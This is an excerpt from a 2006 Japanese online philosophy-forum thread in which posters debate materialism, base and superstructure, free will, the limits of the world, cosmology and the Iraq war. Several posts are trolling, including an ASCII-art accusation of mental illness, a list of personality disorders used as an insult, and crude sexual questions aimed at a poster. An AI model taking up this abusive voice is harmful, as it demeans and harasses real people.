244 :考える名無しさん:2006/11/14(火) 19:22:27
>>241
横から口はさませてもらうけどさ、熱力学の実験じゃあるまいし、
閉じた世界での場の論理をいくら論じたところで意味はないでしょう。
物理学と思想哲学は違うわけでね。
あなたがいま手にしているジュースをあなたが手にする確率は天文学的なはず。
にもかかわらず現にあなたはそれを手にしている。
まずはこの問いを数学的に証明してほしい。
できないだろ?

245 :第2唯物論 ◆qBkUSoWgX. :2006/11/14(火) 19:23:42
>>243  それはフセインがどの程度の悪人かといういわばある意味抽象論が.石油漬け生活という下部構造からきりはなれて一人歩きしたのと同じ
上部構造は。情報収集とか言う下部構造を逆規定もする

246 :244:2006/11/14(火) 19:27:19
たとえば非ユークリッド・リーマン幾何学のセントラルドグマでさえ、
物理学においてはひとつの位相にすぎず、
単純きわまる哲学的な問いにすら答えることはできない。
答えられないことが科学だというのであれば、エキスパートな分野として地道にやっていけばいいだけの話であって、
世界を論じようとするのはおこがましいよ。

247 :第2唯物論 ◆qBkUSoWgX. :2006/11/14(火) 19:28:36
>>244 なにいってるのジュースが大量に生産流通してれば手にする確率は高いよ

自然科学と社会科学が混じってることを論じるから唯物論が意味あるのさ

あと未来はすべてがは決まってないというのは確かだから大学教授とかに学術的にきいてね
なんか俺は用語が悪いらしいからさ

248 :第2唯物論 ◆qBkUSoWgX. :2006/11/14(火) 19:30:22
>>244>>241のどこの部分に対する反論なのかな、みなさんわかる??

249 :244:2006/11/14(火) 19:30:25
>>245
上部構造が下部構造を規定してしまったら、それはもはや上下もへったくれもないw
落ち着けw

250 :244 :2006/11/14(火) 19:32:02
>>248
「機械的唯物論は俄然意味を持つ」という部分でしょう。
いちばん大切なのは、読めるか読めないかだと思う。
読めないのは恥ずかしいこと。

251 :第2唯物論 ◆qBkUSoWgX. :2006/11/14(火) 19:34:13
 アホか政治という上部構造は生活という下部構造を逆に規定するから政治が大問題になるんだよ
相互に規定してるというのはいわれてから100年たってるぜ

 哲学やってる素人の一部は哲学なんて生活は全然規定しないと思い込んでるから哲学がいいかげんになるのさ
逆も真だけどね

252 :アホ:2006/11/14(火) 19:36:10
だれがどこで言ってるんだw?
論拠を提示してくれ。

253 :アホ:2006/11/14(火) 19:39:24
>>251
君はヘーゲリアンのなの?
だとすれば、まあ、それはそうだろうねw

254 :考える名無しさん:2006/11/14(火) 19:51:48
226 :第2唯物論 ◆qBkUSoWgX. :2006/11/14(火) 16:24:40


255 :35:2006/11/14(火) 21:19:32
まあ、なんでもいいけど俺は別に唯物論を支持してるわけじゃないんだが。
だから、まるで俺が間違ってるみたいに唯物論を批判されても、その、なんだ、困る。

>アホか政治という上部構造は生活という下部構造を逆に規定するから政治が大問題になるんだよ
相互に規定してるというのはいわれてから100年たってるぜ

んーっと、簡単に引導を渡してしまうなら、それもう誰からも見向きもされない理論の言葉でしょう?
単なる一つのモデルであって、決して支持者が多いわけでもないし。
そもそも下部構造とか上部構造とか社会はそんな単純な二元論によるような、わかりやすい構造してないし、
もっと複雑なものだろう。その時代に広まってる思想や哲学が実際に社会に影響を与えるなんていうのは常識。

256 :35:2006/11/14(火) 21:26:42
>決定論という上部構造(抽象論)は膨大な下部構造(生活実体未来含む)に規定されて存在してる

じゃあ、その下部構造が物理法則に支配されてるならば、
その下部構造に規定される上部構造も物理法則に支配されているということになる。

つまり自由意志は存在せず、すべて必然的に物理法則にしたがっているという論が導きだされるというわけですか?

>>215
> 風船の内側にいた場合でも、中にいる者たちがそのような構造の内部に存在し、
その事実を認識することは不可能ではないでしょう。

普通に不可能ですが。あなたは風船という物理的イメージにとらわれすぎ。
限界の意味がわかってない。世界の内側から世界の外側を認識することはできない。
なぜなら、認識できたとしたらそれはすでに世界の内側に引き込まれるということなのです。
論理の順番が逆。

「外側を認識できる」んじゃなくて「認識できるものはすべて世界の内側」なのね。
だから世界は「限界」なの。わかりました?

257 :考える名無しさん:2006/11/14(火) 21:27:59



ニートが羨ましい。

働かなくて良いっていう現状がうらやましいんじゃなくて
働かないでふらふらしてて罪悪感を感じず
のうのうとしている無責任さが羨ましい。





258 :考える名無しさん:2006/11/14(火) 21:32:48
>>256
よく意味がわからん。
「認識できるものはすべて世界の内側」とあるが、認識するのは誰なのだ。
「今は認識できないが、将来は認識できる(可能性がある)もの」と
「今も将来も認識できないもの」との区別は、どうやってつけるのだ。
前者は世界の内側で、後者が世界の外側なのか。


259 :第2唯物論 ◆qBkUSoWgX. :2006/11/14(火) 21:38:18
>>256 規定されてるは決定されてると違いますよ

おおまかなところのある分野とかエネルギ利用面ではかなり規定されてるが細かいところ(といっても地域単位
などは全然決まってない

260 :第2唯物論 ◆qBkUSoWgX. :2006/11/14(火) 21:39:32
  >>250 >>241の最後の一行は不適切極まりないね.このスレでの機械唯物論はひどいのばっかりでてるからそんなものを
実生活に持ち込まれては誰もたまらない.この一行取り消すよ

だが>>244は確かにわからないぜ

 >あなたがいま手にしているジュースをあなたが手にする確率は天文学的なはず

まずなんに対する確率よ,そしてそれが>>241とどういう関係があるのか.誰かわかるか??

エネルギー問題がそれほど切羽詰ってるわけがないとでも言いたいのかな.温暖化で大変なのよ.温暖化してもいいなら別だが」

>>253 どこがへーゲリアンなのかな.きみは左翼か左派??


261 :35:2006/11/14(火) 21:48:00
>>258
>「今は認識できないが、将来は認識できる(可能性がある)もの」
「今も将来も認識できないもの」

区別する必要はないのでは?我々が思考しうるものは全部世界の内側ですよ。
認識できるかどうかは基本的にどうでもいいんですけど。認識できるかどうかよりも、むしろ
それが成立しうるか。たとえば「オレンジ色のりんご」は成立しうるけど、「丸い四角」は
成立しないでしょう。問題はそこにあるのです。

262 :第2唯物論 ◆qBkUSoWgX. :2006/11/14(火) 21:49:52
 >>255 そうでもない日本アメリカでは少ない
あと真理であるかどうかが問題であって真理ならいずれは人類におおきな影響を持つ

 問題はどういう唯物論が真理かだ

アメリカのイラク侵攻については世界の何億もの人々が,「石油の大量使用が下部構造だがアメリカは気づいてない、間違ってるという認識をもった
それがじわじわとアメリカに伝わって今度の選挙でブッシュが苦境に立つとこまで来た
まだ進むよ,この真理は非常に広まった,第2唯物論が人類の認識になったといっていいくらいだ



263 :考える名無しさん:2006/11/14(火) 21:52:51
>第2唯物論が人類の認識になったといっていいくらいだ
なってないwなってないwww

264 :第2唯物論 ◆qBkUSoWgX. :2006/11/14(火) 22:01:13
  下部構造が上部構造を規定してるというのはあたりまえで
イラク戦争では世界が注目したさ

ヨーロッパでは早々と100万単位のデモがあった

 パウエル氏が世界にむかってわざわざ石油のための侵攻でないと下手な弁明してたが余計に目立ったさ
世界中にそう思われたことはパウエル氏でもわかった

 イラクの石油を直接うばうことでないのはみなが知ってるのにパウエルは下手な言い訳した
すくなくても2,3億がぴんときたな,日本は例外

265 :小さなヨハネ ◆1oKmZSIAF. :2006/11/14(火) 22:01:31
・・・。

266 :第2唯物論 ◆qBkUSoWgX. :2006/11/14(火) 22:08:25
>>246 イランがわかってて第2段をやってる,エネルギとしての原子力利用という下部構造が問題
核武装など問題でないそのねらいでないのにね,日米がボケーとしてる

 イスラム圏内では相当わかってるとおもウヨ

267 :小さなヨハネ ◆1oKmZSIAF. :2006/11/14(火) 22:13:17
ワトソン:あれ、書ける。
ホームズ:ほんとだ。
ワトソン:しかし、昨日は書けなかったのに。アクセス規制とか何かだった。
ホームズ:うん。
ワトソン:しかしこれはどういうことだ?確か、小さなヨハネのなりすましの
     発言があって、それに対して機械が何か批判していた箇所だ。それが
     「あぼーん」と消されている。そんなことが勝手に出来るのか?
     ホームズ。
ホームズ:それは誰か具合悪い者が消したに相違ない。
ワトソン:しかしそんなことがどうして出来るんだ?
ホームズ:さあ。

27 :あぼーん :あぼーん
あぼーん

28 :あぼーん :あぼーん
あぼーん

29 :あぼーん :あぼーん
あぼーん

30 :あぼーん :あぼーん
あぼーん

34 :小さなヨハネ ◆1oKmZSIAF. :2006/11/12(日) 20:27:43
>>11 >>23 >>24 >>26 >>29 >>30
>ワトソン:おい、ブルネルス(=機械=最高位)、成りすましもいい加減にしろ。
>ホームズ:・・・(唖然として言葉も出ない)。


268 :前擦腺 ◆BovECr9/c2 :2006/11/14(火) 22:18:13
>>256
>普通に不可能ですが

実際にそのような「世界の外」が存在するかどうかもわからないし、
知りようもないのであれば「普通に不可能」かどうかもわからないでしょう。
認識できないものなどなく、人間が全世界の全てを把握しつつある可能性すらあると思います。
知ることのできないものを想定し、それを世界の外、というのであればあなたの話もトートロジーに過ぎないような気がします。
また、あなたの使う「世界」という言葉の意味が把握しづらいですね。
本来、外や中があるようなものではないでしょう。

認識の出来なさ、というのは、3次元生物から見た4次元、2次元生物から見た3次元、というものに近いのでしょうか。
3次元世界を把握するのに、4次元世界にいる必要はないと思いますから、
いずれにしても、内部のことを知るのにわざわざ外部からの超越者的視点を持ち出さなくても良いように考えてしまいます。
現在の理論物理学が研究しているもの、というのはいったい何にあたるのだと思いますか?

世界のあり方がどうであれ、「自由意志」を持つかどうか、というのは重要です。
それがないのであれば、どのような論も結局人間の行動に与えるインパクトというのは少ないように思います。
僕は、機械さんと同様、人間の脳の働きというのは分子レベル以上の話ではないと思っているので、
そのようなものは持ち得ない、と考えているのですが、あなたはどうですか?

また、最高位さんと同じで、世界観や立場を示していないので(当然あなたのほうがレベルは格段に上ですが・・・)、
是非それが欲しいところです。

それにしても、受験生ということは18歳ですか?ちょっと信じられませんが・・・
僕が18歳の頃なんて受験と恋愛のことしか考えていませんでしたよ・・・。

269 :小さなヨハネ ◆1oKmZSIAF. :2006/11/14(火) 22:20:15
ワトソン:誰か知っている者がいたら説明して欲しい。
     どういうことなのか。
ホームズ:うん。
ワトソン:機械は真理は必要なのでこのスレッドは続けさせてもらうとか
     言っていた。スレッドを続けようとどうしようと勝手だが、真
     理が大切だと言うならそのことに関する真理・真相を説明して
     欲しい。
ホームズ:それはそうだ。

270 :小さなヨハネ ◆1oKmZSIAF. :2006/11/14(火) 22:36:27
>>3 :考える名無しさん :2006/11/12(日) 01:35:16
>小さなヨハネがどのくらい下品な荒らしを掛けてくるか見物だな。
>キリスト教ってもっと清貧でヒューマンなイメージがあったけど、
>小さなヨハネみたいな急進主義もあるのでイスラムと先祖が同じ
>ということも納得できる。キリスト教信者は相当に下ネタが好きなんだね?
>明日を楽しみにして寝るかな。

>7 :考える名無しさん :2006/11/12(日) 01:48:50
>>6
>最高に下品なsexネタ大好き小ヨハネは教義的に破門だと思うのは大間違い、
>ネストリウス派という小ヨハネの派は、乱交を日常的に行うことで神に近づ
>くという教義だから

>8 :考える名無しさん :2006/11/12(日) 01:53:57
>>7
>カタリ派の間違い?
>生殖に結びつかない性行為は奨励されたため、この点において
>カタリ派が激しく非難されることになった。

>9 :考える名無しさん :2006/11/12(日) 01:54:57
>>8
>かもね。どうでもいいけど。寝る

271 :小さなヨハネ ◆1oKmZSIAF. :2006/11/14(火) 22:38:51
>11 :考える名無しさん :2006/11/12(日) 02:22:21
999 :「機械的唯物論」者 ◆Wrk8395W0I :2006/11/11(土) 23:53:23
>「真理について」のスレは必要なので、継続します。
>小さなヨハネさん、真理はあなたの「神」より強いのですから、
>いくら荒らしても無駄なことです。

>ここまで言ってもチビアホヨハネの神様は何の罰も下さないし、
>チビアホヨハネの最高度に下品なコピペ&AAを止めようともしない。
>同じ穴の狢だと思われる真面目なキリスト教信者に対する迷惑は図りし
>れん。

ワトソン:これは何だ。小さなヨハネは2CHは足掛け5年になるが、AA
を貼ったり、下ネタを書いたりしたことは一度もないのに。
ホームズ:これを書いた者は意図的に書いているな。成りすましと同一犯だ。

272 :小さなヨハネ ◆1oKmZSIAF. :2006/11/14(火) 22:43:09
ワトソン:おい、機械。君の必要とする「真理について」のスレッドに
     「嘘つき」が紛れ込んでいるようだが、知っているなら突き
     出して欲しい。
ホームズ:ははは。

273 :35:2006/11/14(火) 22:44:24
>>268
> 実際にそのような「世界の外」が存在するかどうかもわからないし、

存在しませんよ。逆にいえば存在するものはすべてある限界としての世界が内包してるんです。

> 本来、外や中があるようなものではないでしょう。

その通りだと俺は前のレスでいってますけど。外が存在しないから「限界」なのですけど。
その外は「認識できない」のではなく「思考できない」のですよ。

あなたは「四角い三角」が今後科学や観測技術の発達、何らかの哲学的思索によって認識されると思いますか?
俺が言ってるのはその次元の話。つまり、「原理的な」限界を示して「世界」と読んでおるのです、俺は。


ちなみに、このスレの最初の方では俺は
この「限界」を唯物論に当てはめた場合に構築されるある一つのモデルを使ってたわけですが、
まあ、この辺はちょっとわかりにくかった。申し訳ない。

最初の方で俺が背理法に使っているのは、「すべての物質を内包したモデル」としての「世界」です。
その外側は存在せず、内部に観念や精神、魂といったものを含まない一つのモデルです。
その辺途中から説明不足というか脱線していました。すいません。

世界観は語れるほどのものは持っていません。俺がやってるのは自分の意見を持たない若造が、
他人の意見にけちをつけてまわってるだけ。

> 僕は、機械さんと同様、人間の脳の働きというのは分子レベル以上の話ではないと思っているので、
そのようなものは持ち得ない、と考えているのですが、あなたはどうですか?

俺も基本的には同様に、自由意志は「論理的に考えるならば存在しない」し、「そのように証明することも可能」だと思いますが、
これもまた超越者足り得ない我々にわかることではない。なぜなら「自由意志があるか、ないか」は「自由意志を持った何者か」の観測によってしか
判断されることも、また思考されることもないからです。したがってこの問いは論理学的にはナンセンスであり、形而上学的な分野に入ってくるので、
「人それぞれ思うとおりに考えたらいいんじゃない?」という立場です。

274 :第2唯物論 ◆qBkUSoWgX. :2006/11/14(火) 22:55:06
>>273 エーと地球が今後ひどく温暖化されるか.かなり温暖化を抑えることになるか
,まだ決まってません(決まってたらどうなるか教えて,調べる方法だけでもね))

 温暖化がどうなるか人類の自由意志が試されると思う




275 :35:2006/11/14(火) 22:55:13
>>273補足。
「自由意志は存在しない」という証明を行えるのは「自由意志を持って思考している存在」のみなので
(だって、批判するほうも自由意志がないんだったら、そもそもその批判自体が無意味でしょ?)
結局のところ、この証明は意味を持たない。

また、自由意志を否定したとしても我々はこれまでどおり「自由意志的に」判断し行動するしかない。

以上から、自由意志を否定することは我々には原理的に不可能。だが、まあ信じることは可能(かな?)
自由意志を肯定することは可能。ただし、これもまた形而上学的な話。

なので、ここで「人それぞれでいんじゃん?」と思考停止するのが俺。


ちなみに、もしここまでで俺が間違ってるところがあるとしたら、
それはおそらくこのレスの一番上の記述部分だろうと思う。俺自身は正しいと思ってるけど、ちょっと自信が薄い。
だから、俺の論を批判したい人がいたらその辺重点的につっつくといいことあるかも。

276 :「機械的唯物論」者 ◆Wrk8395W0I :2006/11/14(火) 22:58:45
>>273
>> 実際にそのような「世界の外」が存在するかどうかもわからないし、
>存在しませんよ。逆にいえば存在するものはすべてある限界としての世界が内包してるんです。

うーむ、世界の外は「ある意味で」存在する・・・というのがビッグバン宇宙論ですので・・、
「事象の地平」という境界が存在しますので、137億年前にビッグバンで誕生した時点の「過去」
は「我々にとっての宇宙の(距離的)果て」として、実際にハッブル宇宙望遠鏡他で「観測しえる
のですが、いま「こちら(太陽系:銀河系)」から見えるのは「ビグバン直後のあちら側」ですので、
ビッグバン後137億年に「そのあちら」がどういう状態になるっているのか? は、「4次元時空」
という宇宙の構造上「絶対に(どうなっているのか)知り得ない」けれど、絶対に存在している・・
という「原理的に知り得る領域」を、「時空の円錐」と呼びます。
・・逆に言うと「時空の円錐の外」は「間違いなく存在するけど絶対に認識できない『この宇宙』の一部」
・・ということになります。


277 :35:2006/11/14(火) 22:59:25
>エーと地球が今後ひどく温暖化されるか.かなり温暖化を抑えることになるか
,まだ決まってません(決まってたらどうなるか教えて,調べる方法だけでもね))

俺の個人的な意見としては「決まってる」けどそれが「証明できない」というのは上に書いたとおり。
だから「決まってない」かもしれない。「決まってる」としてもどうにもならない。「決まってる」とおりになるだけ。
だって、俺とあなたの行動も「決まってる」ことになるんだから。
何をしても、何を考えてもそれは「決まってる」ことでしょう。

でもあなたはそうは考えない。だったらそれはそれでいいんじゃない?

278 :35:2006/11/14(火) 23:02:43
> うーむ、世界の外は「ある意味で」存在する・・・というのがビッグバン宇宙論ですので・・、

その世界と俺の言う「世界」は違う意味です。それは実在するある対象としての<世界>
俺が言ってるのは限界を示したものとしての『世界』

俺が語ってる『世界』は『論理空間』を示しているのであって、あなたの語る<世界>
はその中で論じられる一つの対象、また一つの命題でしかありません。

279 :考える名無しさん:2006/11/14(火) 23:16:35
>>255
下部構造が上部構造を規定するとの言説は、あなたのようなタイプの人間から
は見向きもされなくなったけれども、前述のように先中後進国を問わず指導者
たちが決して手放そうとしない人間観(国家観)である。「経済(第二の言葉を
借りれば物資)が共同主観を決定する」というのは、連中が信じる“真理”なの
である。政治的本音と言ってもいい。
こうみると、マルクス主義はその誤謬性によって退潮したのではなく、実は
倒すべき敵方の指導者によって換骨奪胎・回収されたとみたほうがいい。
人間(の欲望)について何も語れない機械的唯物論よりも、第二のほうが彼ら
には役に立つということだろう。

280 :「機械的唯物論」者 ◆Wrk8395W0I :2006/11/14(火) 23:18:06
>>278
>俺が語ってる『世界』は『論理空間』を示しているのであって

理論空間とおっしゃるモノは、少なくとも「物理学的実在としての『現在の真空』以外の空間」
ですので、残念ながら「それ」は「物理学的に理論が組み上がっていない領域」であると
言わざるをえません。
「この宇宙」が137億年前にビッグバンで生成したという「真理」に立った上で、実は「この宇宙」
と同じような「宇宙」は他にも多数存在するのだ・・・という「仮説」があることは承知しておりますが・・・

281 :第2唯物論 ◆qBkUSoWgX. :2006/11/14(火) 23:23:52
>>279
>>279   あのーブッシュは第2唯物論に無知なので.フセインは極端に悪であり
大量破壊兵器はあるはずだと思い込んだんですけど(アメリカ政府が集団でね)

戦争ちょっと前シラクが指摘したのにブッシュがポカーンとして理解しなかった場面見てましたか

アメリカ等の指導斜等はなんでも承知した上でわざとやってるという共産党系の大妄想は病院ものですよ
日本の政治家見たら判りそうなものなのに,アー日本は又格別か

282 :「機械的唯物論」者 ◆Wrk8395W0I :2006/11/14(火) 23:25:17
>>279
>人間(の欲望)について何も語れない機械的唯物論よりも、第二のほうが彼ら
>には役に立つということだろう。

確かに、ヒトラー以上の人数を殺したスターリンとその後継者が「何を欲望したので
そこまでやったのか?」は、到底理解できません。・・・そのヘーゲル弁証法思想の
最新の後継者「金正日氏」が、「何を欲望してそこまでできるのか?到底理解できない」
・・のと同じ「宗教(観念論の粋)類似の事象」が「ヘーゲル弁証法」なのです。


283 :第2唯物論 ◆qBkUSoWgX. :2006/11/14(火) 23:25:43
>>281 イランが念押しに又やってるのにアメリカは全然気づかない

284 :小さなヨハネ ◆1oKmZSIAF. :2006/11/14(火) 23:59:49
>>63-65
ワトソン:おーい、「あぼーん」し忘れてるぞー。トリプルルッツにイナバウアー
     的成りすまし・自演の合わせわざだ。みっともないから消しておいた
     方がいいぞー。
ホームズ:はははは。
ワトソン:今日は反応がないな。元気出せよー。
ホームズ:ははは。

285 :考える名無しさん:2006/11/14(火) 23:59:53

長澤まさみちゃんの水着姿
http://megurulove.com/bbs/etc/img/11460352480008.jpg

激レア

286 :考える名無しさん:2006/11/15(水) 00:35:28
>>278
この文章には、少しわかりにくいところが。
機械氏の「世界」が実在するものだとしたら、あなたのそれは思考実験の
産物にすぎないのではないか。
たしかに機械氏の「世界」観は、一つの命題である。さりとて、あなたの
それが機械氏の「世界」を包摂しているとなぜ言えるのか。それもまた、
あなたの主観に宿る仮象にすぎぬのではないか。あなたの言う“世界の限界”
とは主観の果てのことか?それなら、わかるが。


287 :考える名無しさん:2006/11/15(水) 00:38:15
それなら限界を越えて見せればいい。

288 :考える名無しさん:2006/11/15(水) 00:41:32
>>285
長澤まさみは、思ったほど人気が沸騰しなかった。
よくみると、顔は大ぶりだし、全体的に大味な感じを否めない。
ただ若手にしては演技は達者なので、来年あたりは脇でいい線を
出すのではないか。

289 :「機械的唯物論」者 ◆Wrk8395W0I :2006/11/15(水) 00:47:16
確かに「美人の系列」ですが、眼の下に隈が出来やすい・・ので、
早急に予防整形を施さないと・・芸能生命は永くない・・と「観測」致しております。

本日は脳内睡眠物質が蓄積してきましたので、やむを得ず就寝させて戴きます。

290 :考える名無しさん:2006/11/15(水) 00:48:34
それにしても、前擦腺君も驚いていたが、>>35 が二十歳前後とは
ちょっと信じられない。一通り齧って、最後は“解釈”とくるからね。
素人さん、負けましたね。

291 :考える名無しさん:2006/11/15(水) 00:53:59
>>279
下部構造・上部構造って用語は多分史的唯物論の用語だろうから、その影響力の低下と共に確かに古臭くはなってるとは思う。
でも存在論的には唯物論はもちろん唯心論や多元論でも物が低階で性質や機能がより高階ってことになってるらしいから、
下部が上部を規定するのは「見向きもされない」どころか唯物論の基本的な原理の一つだと思う。
っていうかそうじゃなかったら唯物論とは言えないよ。

292 :考える名無しさん:2006/11/15(水) 00:58:22
第2は最終的に馬鹿だから、いつまで経っても自演分かり安過ぎなんだねw

293 :考える名無しさん:2006/11/15(水) 01:20:40
>>281
ブッシュは、あなたの言う第二唯物論に無知なせいもあって、正義の戦争を
やりたかったのではないですか。ただし彼の周りの戦略家たちにとっては、
一連の対中東戦争は資源戦略の推進以外のなにものでもなかったであろう。
この指導者間の意識のズレがこの戦争を不徹底なものにしたようにみえるの
ですが。
むろん、このズレは米国内における上部構造(民意)の分裂を反映したもので
しょうが。

294 :考える名無しさん:2006/11/15(水) 01:22:38
>>293
最終的馬鹿の相手をしているあんたは究極的馬鹿?

295 :考える名無しさん:2006/11/15(水) 01:28:30
       /     \
     /  / ̄⌒ ̄\
     /   / ⌒  ⌒ |   | ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄
    | /  (・)  (・) |   | てめーなんだよこの自作自演の糞スレは!!
  /⌒  (6     つ  |   | てめーは精神障害でもあんのか?
 (  |  / ___  |  < 何とか言えyo
  − \   \_/  /    \__________________
 //  ,,r'´⌒ヽ___/     ,ィ
   /    ヽ       ri/ 彡
  /   i    ト、   __,,,丿)/        ζ
 |    !     )`Y'''" ヽ,,/      / ̄ ̄ ̄ ̄\
  ! l   |   く,,   ,,,ィ'"      /.         \
  ヽヽ  ゝ    ! ̄!~〜、       /           |
  ヽ  / ̄""'''⌒ ̄"^'''''ー--、 :::|||||||||||||||||||||||||||||||||
   Y'´          /    """''''〜--、|||||||||||||||||) 
   (      丿  ,,;;''  ....::::::::::: ::::r''''"" ̄""ヽ   |  ← >>1
    ゝ   ー--、,,,,,___      ::: ::,,,,,ー`''''''⌒''ーイ  ./
    ヽ      \  ̄""'''"" ̄   \____/-、
     ヽ       ヽ  :::::::::::::::::::: /          `ヽ
      ヽ  丿   )       /    ノ   ゝ ヽ ,〉
       ゝ      !      /            ∀
        !     |      /   人     ヽ   ヽ
        |     ,;;}      !ー-、/  ヽ _,,,-


296 :考える名無しさん:2006/11/15(水) 01:34:13
「機械的唯物論」者 ◆Wrk8395W0が最近たてたスレもよろしく

ウンチマンは存在する!(哲学板)
http://academy4.2ch.net/test/read.cgi/philo/1161989276/


297 :考える名無しさん:2006/11/15(水) 01:41:47
>>295
神に破門されて地獄にさえ入れない小さな僭称ヨハネは・・・かわいそ


298 :考える名無しさん:2006/11/15(水) 01:51:04
>>294
たとえば純文学という言葉があって、これはほぼ死語と化している。
純哲学という言葉こそないけれども、それに類するものにしがみつい
ている御仁がいる。
このスレ主の機械氏はその無意味性を衝き、それを自然科学に解消し
ようとしているのだろう。たぶん、前擦腺氏も同じ立場とみられる。
一方、第二氏もまた同様に観念論的ムダ話しを蔑笑しつつ、社会科学
的な立場から“人間”を語ろうとしているのではないか。本人も認める
ように悪文だけれども、面白い視点を提供している。

もっとも、私自身は最高位のシンパなのだけど。

299 :考える名無しさん:2006/11/15(水) 01:56:45
>>298
>面白い視点を提供している

そうなの?ヒトラーが提唱した国家社会主義労働者党の理念は
スターリンの社会主義国家の理念と同じ宗教的誤謬だと思うが?
あなたのような視点が、ナチスやスターリン主義やオーム真理教を
産み出す土壌になっているということに気づかない?

300 :前擦腺 ◆BovECr9/c2 :2006/11/15(水) 02:04:49
>>275
そうですね。おっしゃるとおり、

>「自由意志は存在しない」という証明を行えるのは「自由意志を持って思考している存在」のみなので
>(だって、批判するほうも自由意志がないんだったら、そもそもその批判自体が無意味でしょ?)
>結局のところ、この証明は意味を持たない。

この部分には受け入れがたいものがあります。

なぜ、自由意志を持たない者は、自らそのことに気づき得ないのでしょうか。
世界の認識に関する部分と同様、超越者の存在を必要とする明確な理由が良くわかりません。
そうしなければ何らかのパラドックスが生まれる、というものでもないような気がします。

ただ、いくら言ったところで、結局「自由意志的に行動」しなければならない、というのには同意しますが・・・

「まあ世の中そんなようなもんなんだよ・・・」と思いつつ、それなりに行動して人生を全うする、といったところでしょうか。
理不尽な出来事(主観的に見て)や他人の言動に煩わされることなく、ある種の諦念、あるいは達観を獲得することが可能なように思います。

>>220
>学問に専念
その通りですね・・・。論文も早く出さないとまずいのです。

>>290
もし本当に若い人なのであれば、ちょっと危機感を覚えますね・・・
社会が以前に比べ不安定になってきているので、これからの若者は恐らく「ものを考える世代」になるだろうとは予想してはいました。
僕らの世代(いわばニート世代)は、行き届いた偏差値教育とバブル前後に定着した軽薄な価値観のおかげでさっぱりものを考えておらず、
その上、バブル後の後遺症で自信も喪失している世代ですから、完全に骨抜きです。
がんばらないと・・・。

301 :考える名無しさん:2006/11/15(水) 02:11:13
要するにあらゆるイデオロギー的言説は「自己の自尊心を守るための自己欺瞞」でしかない故に、
あらゆるイデオロギー的言説が最後に目指すモノは「結果としてはごめんなさい:ジェノサイドに
なってしまいました」・・・けど理想は持続しております。ということだよね。

302 :考える名無しさん:2006/11/15(水) 02:18:28
>>299
それらが間違っているという根拠は何? ファシストは世界中にちらばって
いるし、スターリ二ストも絶滅したわけではない。オームの残党も細々とで
はあれ、延命している。彼らからみれば、あなたのほうが生ぬるい“悪”に
染まった半端者にみえているのではないか。
そもそも、あなたからみて正しい理念とはどのようなもの? 
何宗がまっとうな宗教?

303 :考える名無しさん:2006/11/15(水) 02:23:01




境界性パーソナリティ障害
妄想性パーソナリティ障害
自己愛性パーソナリティ障害
演技性パーソナリティ障害
回避性パーソナリティ障害
強迫性パーソナリティ障害
依存症パーソナリティ障害





304 :考える名無しさん:2006/11/15(水) 02:24:30
        /⌒ヽ⌒ヽ
               Y       自作自演は結婚してんの?
            八  ヽ
     (   __//. ヽ,, ,)    自作自演とはさぁ、どんなセックスしてるわけ?
      丶1    八.  !/
       ζ,    八.  j     週何回?どこを責められると感じる?
        i    丿 、 j
        |     八   |     どんな体位が好き?コンドームは着けてる?
        | !    i 、 |
       | i し " i   '|    自作自演以外とは何人とセックスした?この絵みたいなチンポは好き?
      |ノ (   i    i|
      ( '~ヽ   !  ‖   自作自演、ちゃんと教えて欲しいなぁぁぁぁぁ
        │     i   ‖
      |      !   ||    質問にはきちんと答えてくれるんだよねぇぇぇ
      |    │    |
      |       |    | |    早くぅぅぅぅぅぅぅぅぅぅぅぅ
     |       |   | |
     |        !    | |   自作自演、もう待てないよおおぉぉぉぉぉぉぉ

305 :ゾルレン:2006/11/15(水) 02:41:22
>>602
われわれは「正しさ」についてまったく知らない
だからこそ自らの正しさを検討する批判的態度を保たねばならない
「正義」理念とは問いを持ち自分とは異なる他者との永続的対話を行っていこうとする態度である
この意味で「正義」理念は形式上「ego-ism」の禁止をその内容として持つ
論理が矛盾を禁止する形式であるように、正義はエゴイズム(めんどいからカタカナ)を禁止する形式である
何が正義かは分らないが、ある正義を標榜する集団がエゴイズムに陥っているならば
われわれはそれを「不正である」と呼ぶことができる

例えばオウム真理教が「教祖は絶対である」と言うとき、その言葉が正しい可能性は(論理上)あるが
「麻原個人は絶対である」と言うならば、その言葉について「正しい」と言うことはできない
これは「教祖」が普遍化可能な名詞であるのに対して「麻原」は固有名詞であり普遍化不可能であるからである
したがって「麻原個人は絶対である」というのは教義や規則にするには不適切である
(「なぜ教祖は絶対なのか」という問いに対して「教祖は教祖だから」と答えることも同様の理由でエゴイズムになる)

ファシズムもまた正義理念に適う可能性はある
しかし、多くのファシズムは自らの正義理念に反するものを言語以外の手段で封殺する
ここに理由付けとなる根本理念自身が他者との対話を放棄したエゴイズム的態度に陥る可能性がある
そのような独善的態度をもってわれわれはファシズムを不正と見なす

もっとも、正義理念自体が正当化できないため
このような考え方は「近代合理主義宗教」と呼べるかもしれない


306 :ゾルレン:2006/11/15(水) 02:44:07
補足
「教祖である麻原」「教祖でない麻原」「教祖である上佑」はともに想像可能だが
「麻原でない麻原」「麻原でない上佑」などは言葉の使用として間違っている
同じく「教祖でない教祖」も言葉の使用として間違っている


307 :ゾルレン:2006/11/15(水) 02:56:14
>要するにあらゆるイデオロギー的言説は「自己の自尊心を守るための自己欺瞞」でしかない故に、

「あらゆる〜は・・・でしかない」と言う時
たいていの人はその例外になるようなことに目を向けないようなロジックを背景に組み込んでいる
この言葉を発した者も「すべての言説は自己の自尊心を守るためにある」というテーゼを教義として
後生大事に信仰している
この言葉自体が自己の自尊心を守るための自己欺瞞だ

あげくのはてに自己欺瞞をせずに相互批判の中で研究する集団を「マゾ」と呼ぶ
自尊心を守りたいならどうぞ
真理ではなく実存に興味があるならそれもよかろう
だが、自らの自尊心を守りたいがために、真理に興味をもち研究に打ち込む者たちを批判するのはどうかと思う
ミイラとりがミイラ
自らの言説に自らがとり憑かれたことにも気付かん馬鹿だ


308 :ゾルレン:2006/11/15(水) 03:14:42
・「真理」とファシズム

「真理」や「正義」などという言葉が不毛な争いやファシズムを起こすのではない。
「自分は真理や正義を知っている、自分が行う行為は他の人から見ても正しい。相手の行う行為は間違っている」
という考えが不毛な争いやファシズム、そしてわれわれの歴史に起きた悲劇の原因だとわたしは考える。
悲劇の元凶はお題目として挙げられる「真理」や「正義」という言葉ではない。
